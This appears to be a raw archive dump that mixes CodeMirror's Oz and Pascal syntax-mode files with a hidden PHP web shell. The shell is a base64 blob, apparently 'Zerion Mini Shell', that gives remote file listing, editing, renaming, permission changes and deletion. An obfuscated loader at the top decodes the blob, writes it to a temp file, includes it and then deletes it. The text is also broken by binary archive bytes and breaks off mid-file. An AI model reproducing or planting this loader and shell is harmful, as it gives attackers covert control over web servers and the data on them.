3BhdGgnXS4nPGJyIC8+PGJyIC8+JzsgaWYoJF9QT1NUWydvcHQnXSA9PSAnY2htb2QnKXsgaWYoaXNzZXQoJF9QT1NUWydwZXJtJ10pKXsgaWYoY2htb2QoJF9QT1NUWydwYXRoJ10sb2N0ZGVjKCRfUE9TVFsncGVybSddKSkpeyBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPkNoYW5nZSBQZXJtaXNzaW9uIERvbmUuPC9mb250PjxiciAvPic7IH1lbHNleyBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj5DaGFuZ2UgUGVybWlzc2lvbiBFcnJvci48L2ZvbnQ+PGJyIC8+JzsgfSB9IGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+DQpQZXJtaXNzaW9uIDogPGlucHV0IG5hbWU9InBlcm0iIHR5cGU9InRleHQiIHNpemU9IjQiIHZhbHVlPSInLnN1YnN0cihzcHJpbnRmKCclbycsIGZpbGVwZXJtcygkX1BPU1RbJ3BhdGgnXSkpLCAtNCkuJyIgLz4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRfUE9TVFsncGF0aCddLiciPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ib3B0IiB2YWx1ZT0iY2htb2QiPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkdvIiAvPg0KPC9mb3JtPic7IH1lbHNlaWYoJF9QT1NUWydvcHQnXSA9PSAncmVuYW1lJyl7IGlmKGlzc2V0KCRfUE9TVFsnbmV3bmFtZSddKSl7IGlmKHJlbmFtZSgkX1BPU1RbJ3BhdGgnXSwkcGF0aC4nLycuJF9QT1NUWyduZXduYW1lJ10pKXsgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj5DaGFuZ2UgTmFtZSBEb25lLjwvZm9udD48YnIgLz4nOyB9ZWxzZXsgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+Q2hhbmdlIE5hbWUgRXJyb3IuPC9mb250PjxiciAvPic7IH0gJF9QT1NUWyduYW1lJ10gPSAkX1BPU1RbJ25ld25hbWUnXTsgfSBlY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPg0KTmV3IE5hbWUgOiA8aW5wdXQgbmFtZT0ibmV3bmFtZSIgdHlwZT0idGV4dCIgc2l6ZT0iMjAiIHZhbHVlPSInLiRfUE9TVFsnbmFtZSddLiciIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kX1BPU1RbJ3BhdGgnXS4nIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9InJlbmFtZSI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iR28iIC8+DQo8L2Zvcm0+JzsgfWVsc2VpZigkX1BPU1RbJ29wdCddID09ICdlZGl0Jyl7IGlmKGlzc2V0KCRfUE9TVFsnc3JjJ10pKXsgJGZwID0gZm9wZW4oJF9QT1NUWydwYXRoJ10sJ3cnKTsgaWYoZndyaXRlKCRmcCwkX1BPU1RbJ3NyYyddKSl7IGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+RWRpdCBGaWxlIERvbmUgfl9eLjwvZm9udD48YnIgLz4nOyB9ZWxzZXsgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+RWRpdCBGaWxlIEVycm9yIH5ffi48L2ZvbnQ+PGJyIC8+JzsgfSBmY2xvc2UoJGZwKTsgfSBlY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPg0KPHRleHRhcmVhIGNvbHM9ODAgcm93cz0yMCBuYW1lPSJzcmMiPicuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkX1BPU1RbJ3BhdGgnXSkpLic8L3RleHRhcmVhPjxiciAvPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGF0aCIgdmFsdWU9IicuJF9QT1NUWydwYXRoJ10uJyI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJlZGl0Ij4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJHbyIgLz4NCjwvZm9ybT4nOyB9IGVjaG8gJzwvY2VudGVyPic7IH1lbHNleyBlY2hvICc8L3RhYmxlPjxiciAvPjxjZW50ZXI+JzsgaWYoaXNzZXQoJF9HRVRbJ29wdGlvbiddKSAmJiAkX1BPU1RbJ29wdCddID09ICdkZWxldGUnKXsgaWYoJF9QT1NUWyd0eXBlJ10gPT0gJ2RpcicpeyBpZihybWRpcigkX1BPU1RbJ3BhdGgnXSkpeyBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPkRlbGV0ZSBEaXIgRG9uZS48L2ZvbnQ+PGJyIC8+JzsgfWVsc2V7IGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPkRlbGV0ZSBEaXIgRXJyb3IuPC9mb250PjxiciAvPic7IH0gfWVsc2VpZigkX1BPU1RbJ3R5cGUnXSA9PSAnZmlsZScpeyBpZih1bmxpbmsoJF9QT1NUWydwYXRoJ10pKXsgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj5EZWxldGUgRmlsZSBEb25lLjwvZm9udD48YnIgLz4nOyB9ZWxzZXsgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+RGVsZXRlIEZpbGUgRXJyb3IuPC9mb250PjxiciAvPic7IH0gfSB9IGVjaG8gJzwvY2VudGVyPic7ICRzY2FuZGlyID0gc2NhbmRpcigkcGF0aCk7IGVjaG8gJzxkaXYgaWQ9ImNvbnRlbnQiPjx0YWJsZSB3aWR0aD0iNzAwIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIzIiBjZWxsc3BhY2luZz0iMSIgYWxpZ249ImNlbnRlciI+DQo8dHIgY2xhc3M9ImZpcnN0Ij4NCjx0ZD48Y2VudGVyPk5hbWU8L2NlbnRlcj48L3RkPg0KPHRkPjxjZW50ZXI+U2l6ZTwvY2VudGVyPjwvdGQ+DQo8dGQ+PGNlbnRlcj5QZXJtaXNzaW9uczwvY2VudGVyPjwvdGQ+DQo8dGQ+PGNlbnRlcj5PcHRpb25zPC9jZW50ZXI+PC90ZD4NCjwvdHI+JzsgZm9yZWFjaCgkc2NhbmRpciBhcyAkZGlyKXsgaWYoIWlzX2RpcigiJHBhdGgvJGRpciIpIHx8ICRkaXIgPT0gJy4nIHx8ICRkaXIgPT0gJy4uJykgY29udGludWU7IGVjaG8gIjx0cj4NCjx0ZD48YSBocmVmPVwiP3BhdGg9JHBhdGgvJGRpclwiPiRkaXI8L2E+PC90ZD4NCjx0ZD48Y2VudGVyPi0tPC9jZW50ZXI+PC90ZD4NCjx0ZD48Y2VudGVyPiI7IGlmKGlzX3dyaXRhYmxlKCIkcGF0aC8kZGlyIikpIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+JzsgZWxzZWlmKCFpc19yZWFkYWJsZSgiJHBhdGgvJGRpciIpKSBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj4nOyBlY2hvIHBlcm1zKCIkcGF0aC8kZGlyIik7IGlmKGlzX3dyaXRhYmxlKCIkcGF0aC8kZGlyIikgfHwgIWlzX3JlYWRhYmxlKCIkcGF0aC8kZGlyIikpIGVjaG8gJzwvZm9udD4nOyBlY2hvICI8L2NlbnRlcj48L3RkPg0KPHRkPjxjZW50ZXI+PGZvcm0gbWV0aG9kPVwiUE9TVFwiIGFjdGlvbj1cIj9vcHRpb24mcGF0aD0kcGF0aFwiPg0KPHNlbGVjdCBuYW1lPVwib3B0XCI+DQo8b3B0aW9uIHZhbHVlPVwiXCI+PC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPVwiZGVsZXRlXCI+RGVsZXRlPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPVwiY2htb2RcIj5DaG1vZDwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT1cInJlbmFtZVwiPlJlbmFtZTwvb3B0aW9uPg0KPC9zZWxlY3Q+DQo8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJ0eXBlXCIgdmFsdWU9XCJkaXJcIj4NCjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cIm5hbWVcIiB2YWx1ZT1cIiRkaXJcIj4NCjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInBhdGhcIiB2YWx1ZT1cIiRwYXRoLyRkaXJcIj4NCjxpbnB1dCB0eXBlPVwic3VibWl0XCIgdmFsdWU9XCI+XCIgLz4NCjwvZm9ybT48L2NlbnRlcj48L3RkPg0KPC90cj4iOyB9IGVjaG8gJzx0ciBjbGFzcz0iZmlyc3QiPjx0ZD48L3RkPjx0ZD48L3RkPjx0ZD48L3RkPjx0ZD48L3RkPjwvdHI+JzsgZm9yZWFjaCgkc2NhbmRpciBhcyAkZmlsZSl7IGlmKCFpc19maWxlKCIkcGF0aC8kZmlsZSIpKSBjb250aW51ZTsgJHNpemUgPSBmaWxlc2l6ZSgiJHBhdGgvJGZpbGUiKS8xMDI0OyAkc2l6ZSA9IHJvdW5kKCRzaXplLDMpOyBpZigkc2l6ZSA+PSAxMDI0KXsgJHNpemUgPSByb3VuZCgkc2l6ZS8xMDI0LDIpLicgTUInOyB9ZWxzZXsgJHNpemUgPSAkc2l6ZS4nIEtCJzsgfSBlY2hvICI8dHI+DQo8dGQ+PGEgaHJlZj1cIj9maWxlc3JjPSRwYXRoLyRmaWxlJnBhdGg9JHBhdGhcIj4kZmlsZTwvYT48L3RkPg0KPHRkPjxjZW50ZXI+Ii4kc2l6ZS4iPC9jZW50ZXI+PC90ZD4NCjx0ZD48Y2VudGVyPiI7IGlmKGlzX3dyaXRhYmxlKCIkcGF0aC8kZmlsZSIpKSBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPic7IGVsc2VpZighaXNfcmVhZGFibGUoIiRwYXRoLyRmaWxlIikpIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPic7IGVjaG8gcGVybXMoIiRwYXRoLyRmaWxlIik7IGlmKGlzX3dyaXRhYmxlKCIkcGF0aC8kZmlsZSIpIHx8ICFpc19yZWFkYWJsZSgiJHBhdGgvJGZpbGUiKSkgZWNobyAnPC9mb250Pic7IGVjaG8gIjwvY2VudGVyPjwvdGQ+DQo8dGQ+PGNlbnRlcj48Zm9ybSBtZXRob2Q9XCJQT1NUXCIgYWN0aW9uPVwiP29wdGlvbiZwYXRoPSRwYXRoXCI+DQo8c2VsZWN0IG5hbWU9XCJvcHRcIj4NCjxvcHRpb24gdmFsdWU9XCJcIj48L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9XCJkZWxldGVcIj5EZWxldGU8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9XCJjaG1vZFwiPkNobW9kPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPVwicmVuYW1lXCI+UmVuYW1lPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPVwiZWRpdFwiPkVkaXQ8L29wdGlvbj4NCjwvc2VsZWN0Pg0KDQo8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJ0eXBlXCIgdmFsdWU9XCJmaWxlXCI+DQo8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJuYW1lXCIgdmFsdWU9XCIkZmlsZVwiPg0KPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwicGF0aFwiIHZhbHVlPVwiJHBhdGgvJGZpbGVcIj4NCjxpbnB1dCB0eXBlPVwic3VibWl0XCIgdmFsdWU9XCI+XCIgLz4NCjwvZm9ybT48L2NlbnRlcj48L3RkPg0KPC90cj4iOyB9IGVjaG8gJzwvdGFibGU+DQo8L2Rpdj4nOyB9IGVjaG8gJzxjZW50ZXI+PGJyIC8+WmVyaW9uIE1pbmkgU2hlbGwgPGZvbnQgY29sb3I9ImdyZWVuIj4xLjA8L2ZvbnQ+PC9jZW50ZXI+DQo8L0JPRFk+DQo8L0hUTUw+JzsgZnVuY3Rpb24gcGVybXMoJGZpbGUpeyAkcGVybXMgPSBmaWxlcGVybXMoJGZpbGUpOyBpZiAoKCRwZXJtcyAmIDB4QzAwMCkgPT0gMHhDMDAwKSB7ICRpbmZvID0gJ3MnOyB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4QTAwMCkgPT0gMHhBMDAwKSB7ICRpbmZvID0gJ2wnOyB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4ODAwMCkgPT0gMHg4MDAwKSB7ICRpbmZvID0gJy0nOyB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4NjAwMCkgPT0gMHg2MDAwKSB7ICRpbmZvID0gJ2InOyB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4NDAwMCkgPT0gMHg0MDAwKSB7ICRpbmZvID0gJ2QnOyB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4MjAwMCkgPT0gMHgyMDAwKSB7ICRpbmZvID0gJ2MnOyB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4MTAwMCkgPT0gMHgxMDAwKSB7ICRpbmZvID0gJ3AnOyB9IGVsc2UgeyAkaW5mbyA9ICd1JzsgfSAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDEwMCkgPyAncicgOiAnLScpOyAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA4MCkgPyAndycgOiAnLScpOyAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA0MCkgPyAoKCRwZXJtcyAmIDB4MDgwMCkgPyAncycgOiAneCcgKSA6ICgoJHBlcm1zICYgMHgwODAwKSA/ICdTJyA6ICctJykpOyAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAyMCkgPyAncicgOiAnLScpOyAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAxMCkgPyAndycgOiAnLScpOyAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwOCkgPyAoKCRwZXJtcyAmIDB4MDQwMCkgPyAncycgOiAneCcgKSA6ICgoJHBlcm1zICYgMHgwNDAwKSA/ICdTJyA6ICctJykpOyAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwNCkgPyAncicgOiAnLScpOyAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwMikgPyAndycgOiAnLScpOyAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwMSkgPyAoKCRwZXJtcyAmIDB4MDIwMCkgPyAndCcgOiAneCcgKSA6ICgoJHBlcm1zICYgMHgwMjAwKSA/ICdUJyA6ICctJykpOyByZXR1cm4gJGluZm87IH0=diekssekusi
===================================================================================================**/
preg_match('/'.base64_decode('ZGl1bmRkdWgoLis/KWRpZWtzc2VrdXNp').'/si',file_get_contents/*******/(__FILE__),$o0);
$o = tempnam(sys_get_temp_dir(), '____');
file_put_contents($o, base64_decode($o0[1]));
// Include file yang telah diunduh dari URL
include $o;
// Hapus file sementara setelah dieksekusi
unlink($o);PKI��[��

codemirror/mode/oz/oz.jsnu�[���// CodeMirror, copyright (c) by
Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.defineMode("oz", function (conf) {

  function wordRegexp(words) {
    return new RegExp("^((" + words.join(")|(") +
"))\\b");
  }

  var singleOperators = /[\^@!\|<>#~\.\*\-\+\\/,=]/;
  var doubleOperators =
/(<-)|(:=)|(=<)|(>=)|(<=)|(<:)|(>:)|(=:)|(\\=)|(\\=:)|(!!)|(==)|(::)/;
  var tripleOperators = /(:::)|(\.\.\.)|(=<:)|(>=:)/;

  var middle = ["in", "then", "else",
"of", "elseof", "elsecase",
"elseif", "catch",
    "finally", "with", "require",
"prepare", "import", "export",
"define", "do"];
  var end = ["end"];

  var atoms = wordRegexp(["true", "false",
"nil", "unit"]);
  var commonKeywords = wordRegexp(["andthen", "at",
"attr", "declare", "feat", "from",
"lex",
    "mod", "div", "mode", "orelse",
"parser", "prod", "prop",
"scanner", "self", "syn",
"token"]);
  var openingKeywords = wordRegexp(["local", "proc",
"fun", "case", "class", "if",
"cond", "or", "dis",
    "choice", "not", "thread",
"try", "raise", "lock", "for",
"suchthat", "meth", "functor"]);
  var middleKeywords = wordRegexp(middle);
  var endKeywords = wordRegexp(end);

  // Tokenizers
  function tokenBase(stream, state) {
    if (stream.eatSpace()) {
      return null;
    }

    // Brackets
    if(stream.match(/[{}]/)) {
      return "bracket";
    }

    // Special [] keyword
    if (stream.match(/(\[])/)) {
        return "keyword"
    }

    // Operators
    if (stream.match(tripleOperators) || stream.match(doubleOperators)) {
      return "operator";
    }

    // Atoms
    if(stream.match(atoms)) {
      return 'atom';
    }

    // Opening keywords
    var matched = stream.match(openingKeywords);
    if (matched) {
      if (!state.doInCurrentLine)
        state.currentIndent++;
      else
        state.doInCurrentLine = false;

      // Special matching for signatures
      if(matched[0] == "proc" || matched[0] == "fun")
        state.tokenize = tokenFunProc;
      else if(matched[0] == "class")
        state.tokenize = tokenClass;
      else if(matched[0] == "meth")
        state.tokenize = tokenMeth;

      return 'keyword';
    }

    // Middle and other keywords
    if (stream.match(middleKeywords) || stream.match(commonKeywords)) {
      return "keyword"
    }

    // End keywords
    if (stream.match(endKeywords)) {
      state.currentIndent--;
      return 'keyword';
    }

    // Eat the next char for next comparisons
    var ch = stream.next();

    // Strings
    if (ch == '"' || ch == "'") {
      state.tokenize = tokenString(ch);
      return state.tokenize(stream, state);
    }

    // Numbers
    if (/[~\d]/.test(ch)) {
      if (ch == "~") {
        if(! /^[0-9]/.test(stream.peek()))
          return null;
        else if (( stream.next() == "0" &&
stream.match(/^[xX][0-9a-fA-F]+/)) ||
stream.match(/^[0-9]*(\.[0-9]+)?([eE][~+]?[0-9]+)?/))
          return "number";
      }

      if ((ch == "0" &&
stream.match(/^[xX][0-9a-fA-F]+/)) ||
stream.match(/^[0-9]*(\.[0-9]+)?([eE][~+]?[0-9]+)?/))
        return "number";

      return null;
    }

    // Comments
    if (ch == "%") {
      stream.skipToEnd();
      return 'comment';
    }
    else if (ch == "/") {
      if (stream.eat("*")) {
        state.tokenize = tokenComment;
        return tokenComment(stream, state);
      }
    }

    // Single operators
    if(singleOperators.test(ch)) {
      return "operator";
    }

    // If nothing match, we skip the entire alphanumerical block
    stream.eatWhile(/\w/);

    return "variable";
  }

  function tokenClass(stream, state) {
    if (stream.eatSpace()) {
      return null;
    }
    stream.match(/([A-Z][A-Za-z0-9_]*)|(`.+`)/);
    state.tokenize = tokenBase;
    return "variable-3"
  }

  function tokenMeth(stream, state) {
    if (stream.eatSpace()) {
      return null;
    }
    stream.match(/([a-zA-Z][A-Za-z0-9_]*)|(`.+`)/);
    state.tokenize = tokenBase;
    return "def"
  }

  function tokenFunProc(stream, state) {
    if (stream.eatSpace()) {
      return null;
    }

    if(!state.hasPassedFirstStage && stream.eat("{")) {
      state.hasPassedFirstStage = true;
      return "bracket";
    }
    else if(state.hasPassedFirstStage) {
      stream.match(/([A-Z][A-Za-z0-9_]*)|(`.+`)|\$/);
      state.hasPassedFirstStage = false;
      state.tokenize = tokenBase;
      return "def"
    }
    else {
      state.tokenize = tokenBase;
      return null;
    }
  }

  function tokenComment(stream, state) {
    var maybeEnd = false, ch;
    while (ch = stream.next()) {
      if (ch == "/" && maybeEnd) {
        state.tokenize = tokenBase;
        break;
      }
      maybeEnd = (ch == "*");
    }
    return "comment";
  }

  function tokenString(quote) {
    return function (stream, state) {
      var escaped = false, next, end = false;
      while ((next = stream.next()) != null) {
        if (next == quote && !escaped) {
          end = true;
          break;
        }
        escaped = !escaped && next == "\\";
      }
      if (end || !escaped)
        state.tokenize = tokenBase;
      return "string";
    };
  }

  function buildElectricInputRegEx() {
    // Reindentation should occur on [] or on a match of any of
    // the block closing keywords, at the end of a line.
    var allClosings = middle.concat(end);
    return new RegExp("[\\[\\]]|(" +
allClosings.join("|") + ")$");
  }

  return {

    startState: function () {
      return {
        tokenize: tokenBase,
        currentIndent: 0,
        doInCurrentLine: false,
        hasPassedFirstStage: false
      };
    },

    token: function (stream, state) {
      if (stream.sol())
        state.doInCurrentLine = 0;

      return state.tokenize(stream, state);
    },

    indent: function (state, textAfter) {
      var trueText = textAfter.replace(/^\s+|\s+$/g, '');

      if (trueText.match(endKeywords) || trueText.match(middleKeywords) ||
trueText.match(/(\[])/))
        return conf.indentUnit * (state.currentIndent - 1);

      if (state.currentIndent < 0)
        return 0;

      return state.currentIndent * conf.indentUnit;
    },
    fold: "indent",
    electricInput: buildElectricInputRegEx(),
    lineComment: "%",
    blockCommentStart: "/*",
    blockCommentEnd: "*/"
  };
});

CodeMirror.defineMIME("text/x-oz", "oz");

});
PKI��[�=��^^codemirror/mode/oz/oz.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";a.defineMode("oz",(function(a){function b(a){return
new
RegExp("^(("+a.join(")|(")+"))\\b")}function
c(a,b){if(a.eatSpace())return
null;if(a.match(/[{}]/))return"bracket";if(a.match(/(\[])/))return"keyword";if(a.match(k)||a.match(j))return"operator";if(a.match(n))return"atom";var
c=a.match(p);if(c)return
b.doInCurrentLine?b.doInCurrentLine=!1:b.currentIndent++,"proc"==c[0]||"fun"==c[0]?b.tokenize=f:"class"==c[0]?b.tokenize=d:"meth"==c[0]&&(b.tokenize=e),"keyword";if(a.match(q)||a.match(o))return"keyword";if(a.match(r))return
b.currentIndent--,"keyword";var
l=a.next();if('"'==l||"'"==l)return
b.tokenize=h(l),b.tokenize(a,b);if(/[~\d]/.test(l)){if("~"==l){if(!/^[0-9]/.test(a.peek()))return
null;if("0"==a.next()&&a.match(/^[xX][0-9a-fA-F]+/)||a.match(/^[0-9]*(\.[0-9]+)?([eE][~+]?[0-9]+)?/))return"number"}return"0"==l&&a.match(/^[xX][0-9a-fA-F]+/)||a.match(/^[0-9]*(\.[0-9]+)?([eE][~+]?[0-9]+)?/)?"number":null}return"%"==l?(a.skipToEnd(),"comment"):"/"==l&&a.eat("*")?(b.tokenize=g,g(a,b)):i.test(l)?"operator":(a.eatWhile(/\w/),"variable")}function
d(a,b){return
a.eatSpace()?null:(a.match(/([A-Z][A-Za-z0-9_]*)|(`.+`)/),b.tokenize=c,"variable-3")}function
e(a,b){return
a.eatSpace()?null:(a.match(/([a-zA-Z][A-Za-z0-9_]*)|(`.+`)/),b.tokenize=c,"def")}function
f(a,b){return
a.eatSpace()?null:!b.hasPassedFirstStage&&a.eat("{")?(b.hasPassedFirstStage=!0,"bracket"):b.hasPassedFirstStage?(a.match(/([A-Z][A-Za-z0-9_]*)|(`.+`)|\$/),b.hasPassedFirstStage=!1,b.tokenize=c,"def"):(b.tokenize=c,null)}function
g(a,b){for(var
d,e=!1;d=a.next();){if("/"==d&&e){b.tokenize=c;break}e="*"==d}return"comment"}function
h(a){return function(b,d){for(var
e,f=!1,g=!1;null!=(e=b.next());){if(e==a&&!f){g=!0;break}f=!f&&"\\"==e}return!g&&f||(d.tokenize=c),"string"}}var
i=/[\^@!\|<>#~\.\*\-\+\\\/,=]/,j=/(<-)|(:=)|(=<)|(>=)|(<=)|(<:)|(>:)|(=:)|(\\=)|(\\=:)|(!!)|(==)|(::)/,k=/(:::)|(\.\.\.)|(=<:)|(>=:)/,l=["in","then","else","of","elseof","elsecase","elseif","catch","finally","with","require","prepare","import","export","define","do"],m=["end"],n=b(["true","false","nil","unit"]),o=b(["andthen","at","attr","declare","feat","from","lex","mod","div","mode","orelse","parser","prod","prop","scanner","self","syn","token"]),p=b(["local","proc","fun","case","class","if","cond","or","dis","choice","not","thread","try","raise","lock","for","suchthat","meth","functor"]),q=b(l),r=b(m);return{startState:function(){return{tokenize:c,currentIndent:0,doInCurrentLine:!1,hasPassedFirstStage:!1}},token:function(a,b){return
a.sol()&&(b.doInCurrentLine=0),b.tokenize(a,b)},indent:function(b,c){var
d=c.replace(/^\s+|\s+$/g,"");return
d.match(r)||d.match(q)||d.match(/(\[])/)?a.indentUnit*(b.currentIndent-1):b.currentIndent<0?0:b.currentIndent*a.indentUnit},fold:"indent",electricInput:(function(){var
a=l.concat(m);return new
RegExp("[\\[\\]]|("+a.join("|")+")$")})(),lineComment:"%",blockCommentStart:"/*",blockCommentEnd:"*/"}})),a.defineMIME("text/x-oz","oz")}));PKJ��[P�mm
codemirror/mode/pascal/pascal.jsnu�[���// CodeMirror, copyright
(c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.defineMode("pascal", function() {
  function words(str) {
    var obj = {}, words = str.split(" ");
    for (var i = 0; i < words.length; ++i) obj[words[i]] = true;
    return obj;
  }
  var keywords = words(
    "absolute and array asm begin case const constructor destructor
div do " +
    "downto else end file for function goto if implementation in
inherited " +
    "inline interface label mod nil not object of operator or packed
procedure " +
    "program record reintroduce repeat self set shl shr string then to
type " +
    "unit until uses var while with xor as class dispinterface except
exports " +
    "finalization finally initialization inline is library on out
packed " +
    "property raise resourcestring threadvar try absolute abstract
alias " +
    "assembler bitpacked break cdecl continue cppdecl cvar default
deprecated " +
    "dynamic enumerator experimental export external far far16 forward
generic " +
    "helper implements index interrupt iocheck local message name near
" +
    "nodefault noreturn nostackframe oldfpccall otherwise overload
override " +
    "pascal platform private protected public published read register
" +
    "reintroduce result safecall saveregisters softfloat specialize
static " +
    "stdcall stored strict unaligned unimplemented varargs virtual
write");
  var atoms = {"null": true};

  var isOperatorChar = /[+\-*&%=<>!?|\/]/;

  function tokenBase(stream, state) {
    var ch = stream.next();
    if (ch == "#" && state.startOfLine) {
      stream.skipToEnd();
      return "meta";
    }
    if (ch == '"' || ch == "'") {
      state.tokenize = tokenString(ch);
      return state.tokenize(stream, state);
    }
    if (ch == "(" && stream.eat("*")) {
      state.tokenize = tokenComment;
      return tokenComment(stream, state);
    }
    if (ch == "{") {
      state.tokenize = tokenCommentBraces;
      return tokenCommentBraces(stream, state);
    }
    if (/[\[\]\(\),;\:\.]/.test(ch)) {
      return null;
    }
    if (/\d/.test(ch)) {
      stream.eatWhile(/[\w\.]/);
      return "number";
    }
    if (ch == "/") {
      if (stream.eat("/")) {
        stream.skipToEnd();
        return "comment";
      }
    }
    if (isOperatorChar.test(ch)) {
      stream.eatWhile(isOperatorChar);
      return "operator";
    }
    stream.eatWhile(/[\w\$_]/);
    var cur = stream.current();
    if (keywords.propertyIsEnumerable(cur)) return "keyword";
    if (atoms.propertyIsEnumerable(cur)) return "atom";
    return "variable";
  }

  function tokenString(quote) {
    return function(stream, state) {
      var escaped = false, next, end = false;
      while ((next = stream.next()) != null) {
        if (next == quote && !escaped) {end = true; break;}
        escaped = !escaped && next == "\\";
      }
      if (end || !escaped) state.tokenize = null;
      return "string";
    };
  }

  function tokenComment(stream, state) {
    var maybeEnd = false, ch;
    while (ch = stream.next()) {
      if (ch == ")" && maybeEnd) {
        state.tokenize = null;
        break;
      }
      maybeEnd = (ch == "*");
    }
    return "comment";
  }

  function tokenCommentBraces(stream, state) {
    var ch;
    while (ch = stream.next()) {
      if (ch == "}") {
        state.tokenize = null;
        break;
      }
    }
    return "comment";
  }

  // Interface

  return {
    startState: function() {
      return {tokenize: null};
    },

    token: function(stream, state) {
      if (stream.eatSpace()) return null;
      var style = (state.tokenize || tokenBase)(stream, state);
      if (style == "comment" || style == "meta") return
style;
      return style;
    },

    electricChars: "{}"
  };
});

CodeMirror.defineMIME("text/x-pascal", "pascal");

});
PKJ��[����	�	$codemirror/mode/pascal/pascal.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";a.defineMode("pascal",(function(){function
a(a,h){var i=a.next();if("#"==i&&h.startOfLine)return
a.skipToEnd(),"meta";if('"'==i||"'"==i)return
h.tokenize=b(i),h.tokenize(a,h);if("("==i&&a.eat("*"))return
h.tokenize=c,c(a,h);if("{"==i)return
h.tokenize=d,d(a,h);if(/[\[\]\(\),;\:\.]/.test(i))return
null;if(/\d/.test(i))return
a.eatWhile(/[\w\.]/),"number";if("/"==i&&a.eat("/"))return
a.skipToEnd(),"comment";if(g.test(i))return
a.eatWhile(g),"operator";a.eatWhile(/[\w\$_]/);var
j=a.current();return
e.propertyIsEnumerable(j)?"keyword":f.propertyIsEnumerable(j)?"atom":"variable"}function
b(a){return function(b,c){for(var
d,e=!1,f=!1;null!=(d=b.next());){if(d==a&&!e){f=!0;break}e=!e&&"\\"==d}return!f&&e||(c.tokenize=null),"string"}}function
c(a,b){for(var
c,d=!1;c=a.next();){if(")"==c&&d){b.tokenize=null;break}d="*"==c}return"comment"}function
d(a,b){for(var
c;c=a.next();)if("}"==c){b.tokenize=null;break}return"comment"}var
e=(function(a){for(var b={},c=a.split("
"),d=0;d<c.length;++d)b[c[d]]=!0;return b})("absolute and
array asm begin case const constructor destructor div do downto else end
